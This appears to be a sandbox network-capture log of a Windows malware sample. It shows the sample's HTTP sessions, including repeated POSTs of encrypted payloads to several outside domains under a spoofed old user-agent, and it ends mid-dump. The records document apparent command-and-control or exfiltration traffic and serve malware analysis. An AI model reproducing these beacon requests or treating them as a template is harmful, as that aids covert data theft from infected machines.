Oct 25, 2024 11:18:08.956813097 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive x-dns-prefetch-control: on set-cookie: mailchimp_landing_site=https%3A%2F%2Fwww.elpro.si%2F; expires=Fri, 22-Nov-2024 09:18:08 GMT; Max-Age=2419200; path=/; secure; SameSite=Strict link: <https://www.elpro.si/wp-json/>; rel="https://api.w.org/" link: <https://www.elpro.si/wp-json/wp/v2/pages/2>; rel="alternate"; title="JSON"; type="application/json" link: <https://www.elpro.si/>; rel=shortlink x-litespeed-cache-control: public,max-age=106200 x-litespeed-tag: cbf_HTTP.200,cbf_front,cbf_URL.6666cd76f96956469e7be39d750cc7d9,cbf_F,cbf_Po.2,cbf_PGS,cbf_guest,cbf_ cache-control: public, max-age=172800 expires: Sun, 27 Oct 2024 09:18:08 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=76yIW3bEoa3STloBM62iQwRI9IN74dT%2FAZBPOcdxVeczzrzv0%2Bq1Myoy0bIGlAiCXxgcQVRJ54MdQoazm4vlXRilvBe4zW%2Fa%2BUQHGYfg0s1gahCF37pOqDNdCxRipQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce Data Raw: Data Ascii:
Oct 25, 2024 11:18:08.957001925 CEST	208	IN	Data Raw: 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 78 2d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 2d 6f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 Data Ascii: referrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8d811e148b09e9ca-DFWalt-svc: h3=":443"; ma=86400
Oct 25, 2024 11:18:08.957036018 CEST	1236	IN	Data Raw: 34 33 38 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 73 6c 2d 53 49 22 3e 0a 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 0a 3c 73 Data Ascii: 4380<!DOCTYPE html><html lang="sl-SI"><head>... Google Tag Manager --><script type="text/plain" data-cli-class="cli-blocker-script" data-cli-label="Google Tag Manager" data-cli-script-type="neobvezni" data-cli-block="true" data-cli-
Oct 25, 2024 11:18:08.957072020 CEST	1236	IN	Data Raw: 70 6e 67 22 20 2f 3e 20 2d 2d 3e 0a 0a 20 20 3c 21 2d 2d 20 48 54 4d 4c 35 20 73 68 69 6d 20 61 6e 64 20 52 65 73 70 6f 6e 64 2e 6a 73 20 66 6f 72 20 49 45 38 20 73 75 70 70 6f 72 74 20 6f 66 20 48 54 4d 4c 35 20 65 6c 65 6d 65 6e 74 73 20 61 6e Data Ascii: png" /> --> ... HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> ... WARNING: Respond.js doesn't work if you view the page via file:// -->...[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/
Oct 25, 2024 11:18:08.957108021 CEST	424	IN	Data Raw: 70 72 6f 2e 73 69 2f 22 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 32 33 2e 34 20 Data Ascii: pro.si/" />... This site is optimized with the Yoast SEO Premium plugin v23.4 (Yoast SEO v23.4) - https://yoast.com/wordpress/plugins/seo/ --><meta name="description" content="ELPRO Lepenik proizvodnja temperaturnih tipal, prodaja in ser
Oct 25, 2024 11:18:08.957139969 CEST	1236	IN	Data Raw: 49 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f Data Ascii: I" /><meta property="og:type" content="website" /><meta property="og:title" content="Va PARTNER za industrijske senzorje in akreditirano kalibracijo" /><meta property="og:description" content="ELPRO Lepenik proizvodnja temperaturnih ti
Oct 25, 2024 11:18:08.957175016 CEST	1236	IN	Data Raw: 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 6c 70 72 6f 2e 73 69 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 70 72 69 6d 61 72 79 49 6d 61 67 65 4f 66 50 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: @id":"https://www.elpro.si/#organization"},"primaryImageOfPage":{"@id":"https://www.elpro.si/#primaryimage"},"image":{"@id":"https://www.elpro.si/#primaryimage"},"thumbnailUrl":"https://www.elpro.si/wp-content/uploads/2020/03/ELPRO-www-00-HOME
Oct 25, 2024 11:18:08.957415104 CEST	1236	IN	Data Raw: 6e 69 76 6f 6a 61 22 7d 2c 7b 22 40 74 79 70 65 22 3a 22 42 72 65 61 64 63 72 75 6d 62 4c 69 73 74 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 6c 70 72 6f 2e 73 69 2f 23 62 72 65 61 64 63 72 75 6d 62 22 2c 22 69 74 65 6d 4c Data Ascii: nivoja"},{"@type":"BreadcrumbList","@id":"https://www.elpro.si/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Elpro"}]},{"@type":"WebSite","@id":"https://www.elpro.si/#website","url":"https://www.elpro.si/","name":"",
Oct 25, 2024 11:18:08.957449913 CEST	1236	IN	Data Raw: 6f 75 74 2f 22 5d 7d 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 38 33 56 52 6e 4a 6f 5a 57 75 34 4a 58 5a 79 Data Ascii: out/"]}]}</script><meta name="google-site-verification" content="83VRnJoZWu4JXZy5tz71pBxTbeXUNNBLtlQ4aUoBz6g" />... / Yoast SEO Premium plugin. --><link rel='dns-prefetch' href='//cdnjs.cloudflare.com' /><link rel='dns-prefetch' href=
Oct 25, 2024 11:18:08.957484007 CEST	1236	IN	Data Raw: 6d 65 72 63 65 2d 77 69 73 68 6c 69 73 74 2f 61 73 73 65 74 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 33 2e 33 37 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 Data Ascii: merce-wishlist/assets/css/style.css?ver=3.37.0' type='text/css' media='all' /><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;border-ra
Oct 25, 2024 11:18:08.962706089 CEST	1236	IN	Data Raw: 6e 2d 62 6c 75 65 3a 20 23 30 36 39 33 65 33 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 3a 20 23 39 62 35 31 65 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d Data Ascii: n-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	52823	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.526534081 CEST	824	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.rs-ag.com Cache-Control: no-cache Data Raw: 2f 71 39 77 75 4c 55 44 36 31 58 55 68 53 61 31 48 45 47 46 6d 61 36 6c 59 6f 64 44 57 56 6a 4c 75 52 76 37 67 6a 41 58 39 2b 5a 38 44 46 6b 76 37 5a 6b 36 41 4a 51 62 67 36 6b 6c 72 6c 2b 76 72 30 70 74 2b 58 67 75 64 31 2f 6d 4f 6e 45 43 54 2f 61 34 63 77 6e 6b 57 75 30 64 45 4e 7a 72 47 7a 52 53 77 42 41 78 78 73 39 65 6e 47 63 32 35 61 58 53 31 78 36 47 73 41 62 6d 69 2b 41 37 52 49 75 73 5a 53 50 6f 51 56 77 70 43 77 46 48 54 75 62 6e 42 56 59 6e 5a 63 6c 71 4a 71 55 72 34 69 6e 31 77 69 77 78 31 79 53 71 55 70 50 31 72 46 50 65 66 45 51 70 37 52 77 63 38 66 50 54 6a 78 2f 70 49 63 55 33 77 36 6c 67 57 31 38 6a 31 35 6a 47 74 32 56 43 39 70 46 53 4e 44 69 65 61 35 41 74 6a 67 38 2f 72 49 55 79 46 67 33 6f 2f 67 4d 45 72 6a 52 79 4f 47 75 4d 43 77 73 76 52 46 72 69 51 58 6e 57 6e 63 50 57 59 75 6f 6b 51 41 34 54 6a 47 69 32 55 49 64 5a 33 73 70 77 75 51 58 66 2b 5a 63 76 57 5a 48 7a 49 52 57 75 51 7a 6c 71 67 38 51 75 5a 36 52 75 65 59 64 62 31 35 6c 57 31 78 6b 65 57 55 7a 6d 6c 4f 35 77 6b 38 [TRUNCATED] Data Ascii: /q9wuLUD61XUhSa1HEGFma6lYodDWVjLuRv7gjAX9+Z8DFkv7Zk6AJQbg6klrl+vr0pt+Xgud1/mOnECT/a4cwnkWu0dENzrGzRSwBAxxs9enGc25aXS1x6GsAbmi+A7RIusZSPoQVwpCwFHTubnBVYnZclqJqUr4in1wiwx1ySqUpP1rFPefEQp7Rwc8fPTjx/pIcU3w6lgW18j15jGt2VC9pFSNDiea5Atjg8/rIUyFg3o/gMErjRyOGuMCwsvRFriQXnWncPWYuokQA4TjGi2UIdZ3spwuQXf+ZcvWZHzIRWuQzlqg8QuZ6RueYdb15lW1xkeWUzmlO5wk8xNusA2V9yAq5uKagTRS1+988IPnPNgnGRYaf0fEoT76YuF3h/xeg5K2X+p210ISIXMEKZHQS/cqB0n+BKeenLmGfDfQKOY8gvYK4TWbb9CR0NbFJmLmRrr8mSJY8AjlHfdNYlNSIcVyuZUqszwfvfKs9xEH1X004J45xtUtO3s+t74m9OCDjpj0WUtIkXS6cUpTXcr/3stNdZZUSeZSr6fnpEQlfp6Qf03madc+qP3Mm1pHgsvJz5ijn+ahS0=
Oct 25, 2024 11:18:08.186161041 CEST	987	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:08 GMT Location: http://www.rsag.info Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5UKuM9zJXwnKLWtHiiFa1pwLXbjzK7m5QtKWvq2fB3q7lUROqFoYL%2Bu%2FDwp4SaLpYmq3ICPySD4RVARGFagebFYp4uhuItFhLMhSks62FTF7E8XR%2Ba6uYCr%2BKf77lhZP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e14b8a22d47-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1330&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=824&delivery_rate=0&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:18:08.220918894 CEST	824	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.rs-ag.com Cache-Control: no-cache Data Raw: 2f 71 39 77 75 4c 55 44 36 31 58 55 68 53 61 31 48 45 47 46 6d 61 36 6c 59 6f 64 44 57 56 6a 4c 75 52 76 37 67 6a 41 58 39 2b 5a 38 44 46 6b 76 37 5a 6b 36 41 4a 51 62 67 36 6b 6c 72 6c 2b 76 72 30 70 74 2b 58 67 75 64 31 2f 6d 4f 6e 45 43 54 2f 61 34 63 77 6e 6b 57 75 30 64 45 4e 7a 72 47 7a 52 53 77 42 41 78 78 73 39 65 6e 47 63 32 35 61 58 53 31 78 36 47 73 41 62 6d 69 2b 41 37 52 49 75 73 5a 53 50 6f 51 56 77 70 43 77 46 48 54 75 62 6e 42 56 59 6e 5a 63 6c 71 4a 71 55 72 34 69 6e 31 77 69 77 78 31 79 53 71 55 70 50 31 72 46 50 65 66 45 51 70 37 52 77 63 38 66 50 54 6a 78 2f 70 49 63 55 33 77 36 6c 67 57 31 38 6a 31 35 6a 47 74 32 56 43 39 70 46 53 4e 44 69 65 61 35 41 74 6a 67 38 2f 72 49 55 79 46 67 33 6f 2f 67 4d 45 72 6a 52 79 4f 47 75 4d 43 77 73 76 52 46 72 69 51 58 6e 57 6e 63 50 57 59 75 6f 6b 51 41 34 54 6a 47 69 32 55 49 64 5a 33 73 70 77 75 51 58 66 2b 5a 63 76 57 5a 48 7a 49 52 57 75 51 7a 6c 71 67 38 51 75 5a 36 52 75 65 59 64 62 31 35 6c 57 31 78 6b 65 57 55 7a 6d 6c 4f 35 77 6b 38 [TRUNCATED] Data Ascii: /q9wuLUD61XUhSa1HEGFma6lYodDWVjLuRv7gjAX9+Z8DFkv7Zk6AJQbg6klrl+vr0pt+Xgud1/mOnECT/a4cwnkWu0dENzrGzRSwBAxxs9enGc25aXS1x6GsAbmi+A7RIusZSPoQVwpCwFHTubnBVYnZclqJqUr4in1wiwx1ySqUpP1rFPefEQp7Rwc8fPTjx/pIcU3w6lgW18j15jGt2VC9pFSNDiea5Atjg8/rIUyFg3o/gMErjRyOGuMCwsvRFriQXnWncPWYuokQA4TjGi2UIdZ3spwuQXf+ZcvWZHzIRWuQzlqg8QuZ6RueYdb15lW1xkeWUzmlO5wk8xNusA2V9yAq5uKagTRS1+988IPnPNgnGRYaf0fEoT76YuF3h/xeg5K2X+p210ISIXMEKZHQS/cqB0n+BKeenLmGfDfQKOY8gvYK4TWbb9CR0NbFJmLmRrr8mSJY8AjlHfdNYlNSIcVyuZUqszwfvfKs9xEH1X004J45xtUtO3s+t74m9OCDjpj0WUtIkXS6cUpTXcr/3stNdZZUSeZSr6fnpEQlfp6Qf03madc+qP3Mm1pHgsvJz5ijn+ahS0=
Oct 25, 2024 11:18:08.357434988 CEST	996	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:08 GMT Location: http://www.rsag.info Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BHblSUzM5JILFIK8YBN8xOiwjqKFHSqqWg%2FsnuH5V3CYjS2%2B9oxWv%2B%2BRmswHuPylT7fT9xWKF98tz9RwPXFrQFaRZNpeW4HRZA2niIfYvPpu7gN9BxEu0SgzhEcdgMBa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e15d93a2d47-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1325&sent=2&recv=5&lost=0&retrans=0&sent_bytes=987&recv_bytes=1648&delivery_rate=1118146&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	52824	62.122.190.121	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.535962105 CEST	775	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 68 34 4e 72 49 53 38 63 35 6c 57 44 78 30 41 50 54 68 76 77 43 44 69 71 6f 52 46 46 58 44 7a 34 30 78 62 30 37 6f 57 51 59 42 59 38 46 65 31 74 61 6f 47 62 62 44 61 73 63 56 4e 4d 69 76 69 65 51 79 49 38 65 74 4b 30 6b 74 52 70 31 6d 4f 30 62 52 6e 51 6c 6c 42 54 4b 6d 4f 79 5a 49 72 42 2b 37 6c 5a 47 77 76 79 48 65 51 47 7a 66 33 45 4c 46 47 76 68 46 37 32 69 49 6a 6d 68 51 46 39 47 78 31 2f 39 4a 51 42 53 55 74 52 63 4a 52 4b 33 77 6e 32 34 54 75 64 7a 4a 47 63 50 30 50 69 49 73 54 6f 34 6e 68 38 71 66 37 51 77 6d 68 74 30 63 35 6a 6c 7a 77 75 37 75 36 6f 54 78 6c 30 30 6b 6f 74 4f 65 4f 61 52 62 52 44 6f 51 36 73 2f 77 30 5a 68 30 6b 42 74 37 75 77 4b 32 6d 2f 47 6c 4f 31 51 66 6b 7a 62 77 35 52 75 33 33 36 4d 75 69 44 42 35 6d 72 4f 47 38 4e 5a 6e 66 4d 51 6d 4b 6c 64 45 55 71 35 42 6e 4e 59 77 36 34 36 74 77 4f 67 74 37 69 44 64 32 4f 41 4a 58 76 38 6d 43 46 4a 65 7a 6d 59 34 52 4e 58 74 33 68 38 53 77 43 46 65 54 55 2f 7a 47 6a 50 42 46 57 37 53 31 46 55 50 31 4c 6e 48 50 7a 6b 55 64 73 42 31 [TRUNCATED] Data Ascii: h4NrIS8c5lWDx0APThvwCDiqoRFFXDz40xb07oWQYBY8Fe1taoGbbDascVNMivieQyI8etK0ktRp1mO0bRnQllBTKmOyZIrB+7lZGwvyHeQGzf3ELFGvhF72iIjmhQF9Gx1/9JQBSUtRcJRK3wn24TudzJGcP0PiIsTo4nh8qf7Qwmht0c5jlzwu7u6oTxl00kotOeOaRbRDoQ6s/w0Zh0kBt7uwK2m/GlO1Qfkzbw5Ru336MuiDB5mrOG8NZnfMQmKldEUq5BnNYw646twOgt7iDd2OAJXv8mCFJezmY4RNXt3h8SwCFeTU/zGjPBFW7S1FUP1LnHPzkUdsB1OjY+S/C3ZP++pp2lbG0wtTMOIzU749MWhrK9St+ZDJlgZ/GVSJB/GQ29PO8hVuRfc1YFlhcCt0iN6FPFrmHzWxUyID2IfzsFQZTPdL2Avc3ml66Gmzyc6jcc+kj8YG1G9EcdCREutuHwzdvYgY4om+VU/YRsIcbXsnbyDRDwZH6XL0SonxFbq4AlVHvmY1PJ8fX+GKjZI=
Oct 25, 2024 11:18:08.398489952 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>
Oct 25, 2024 11:18:08.425354004 CEST	775	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 68 34 4e 72 49 53 38 63 35 6c 57 44 78 30 41 50 54 68 76 77 43 44 69 71 6f 52 46 46 58 44 7a 34 30 78 62 30 37 6f 57 51 59 42 59 38 46 65 31 74 61 6f 47 62 62 44 61 73 63 56 4e 4d 69 76 69 65 51 79 49 38 65 74 4b 30 6b 74 52 70 31 6d 4f 30 62 52 6e 51 6c 6c 42 54 4b 6d 4f 79 5a 49 72 42 2b 37 6c 5a 47 77 76 79 48 65 51 47 7a 66 33 45 4c 46 47 76 68 46 37 32 69 49 6a 6d 68 51 46 39 47 78 31 2f 39 4a 51 42 53 55 74 52 63 4a 52 4b 33 77 6e 32 34 54 75 64 7a 4a 47 63 50 30 50 69 49 73 54 6f 34 6e 68 38 71 66 37 51 77 6d 68 74 30 63 35 6a 6c 7a 77 75 37 75 36 6f 54 78 6c 30 30 6b 6f 74 4f 65 4f 61 52 62 52 44 6f 51 36 73 2f 77 30 5a 68 30 6b 42 74 37 75 77 4b 32 6d 2f 47 6c 4f 31 51 66 6b 7a 62 77 35 52 75 33 33 36 4d 75 69 44 42 35 6d 72 4f 47 38 4e 5a 6e 66 4d 51 6d 4b 6c 64 45 55 71 35 42 6e 4e 59 77 36 34 36 74 77 4f 67 74 37 69 44 64 32 4f 41 4a 58 76 38 6d 43 46 4a 65 7a 6d 59 34 52 4e 58 74 33 68 38 53 77 43 46 65 54 55 2f 7a 47 6a 50 42 46 57 37 53 31 46 55 50 31 4c 6e 48 50 7a 6b 55 64 73 42 31 [TRUNCATED] Data Ascii: h4NrIS8c5lWDx0APThvwCDiqoRFFXDz40xb07oWQYBY8Fe1taoGbbDascVNMivieQyI8etK0ktRp1mO0bRnQllBTKmOyZIrB+7lZGwvyHeQGzf3ELFGvhF72iIjmhQF9Gx1/9JQBSUtRcJRK3wn24TudzJGcP0PiIsTo4nh8qf7Qwmht0c5jlzwu7u6oTxl00kotOeOaRbRDoQ6s/w0Zh0kBt7uwK2m/GlO1Qfkzbw5Ru336MuiDB5mrOG8NZnfMQmKldEUq5BnNYw646twOgt7iDd2OAJXv8mCFJezmY4RNXt3h8SwCFeTU/zGjPBFW7S1FUP1LnHPzkUdsB1OjY+S/C3ZP++pp2lbG0wtTMOIzU749MWhrK9St+ZDJlgZ/GVSJB/GQ29PO8hVuRfc1YFlhcCt0iN6FPFrmHzWxUyID2IfzsFQZTPdL2Avc3ml66Gmzyc6jcc+kj8YG1G9EcdCREutuHwzdvYgY4om+VU/YRsIcbXsnbyDRDwZH6XL0SonxFbq4AlVHvmY1PJ8fX+GKjZI=
Oct 25, 2024 11:18:08.682435036 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:08 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	52825	104.26.7.221	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:07.553622007 CEST	809	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.valdal.com Cache-Control: no-cache Data Raw: 71 34 44 52 45 34 43 6f 5a 67 74 56 61 45 5a 76 55 34 46 49 4c 4c 4e 6e 6f 77 35 6f 59 61 49 44 74 4f 65 71 35 74 66 54 6c 39 4e 4d 2b 4b 62 68 67 33 51 44 74 42 4b 41 59 4a 6e 33 77 6c 4a 4b 73 51 34 33 64 43 74 76 6a 4a 54 47 59 71 5a 76 66 41 4f 46 51 76 49 47 34 74 59 55 74 70 54 50 7a 39 72 45 39 7a 62 46 33 37 6b 48 73 2b 51 4a 37 59 4a 79 6f 71 6f 6a 36 75 48 59 6b 62 6f 33 45 45 66 52 70 79 76 59 42 55 6d 45 74 6e 74 31 32 49 64 35 44 37 49 52 44 59 33 6c 64 49 56 42 38 51 2f 4a 45 34 62 53 6f 44 67 5a 54 31 59 50 57 7a 4a 54 49 77 57 42 74 75 65 6a 6d 6b 75 62 4c 5a 52 76 31 49 36 78 79 4f 4a 59 72 74 4f 31 69 50 47 2b 44 41 78 31 35 43 75 4d 4e 4d 39 75 48 73 46 47 42 30 33 4d 61 6a 36 4d 70 68 7a 61 50 68 41 69 4f 79 42 51 73 51 52 63 45 71 48 56 48 30 54 69 76 38 75 68 42 65 55 4b 4e 7a 58 79 76 68 4d 4d 50 36 72 4a 4f 64 35 54 45 34 49 68 59 41 61 65 53 68 52 55 48 76 43 2f 6e 5a 59 2f 66 72 78 75 6d 6c 52 66 4e 55 78 78 42 65 75 71 48 64 75 41 4a 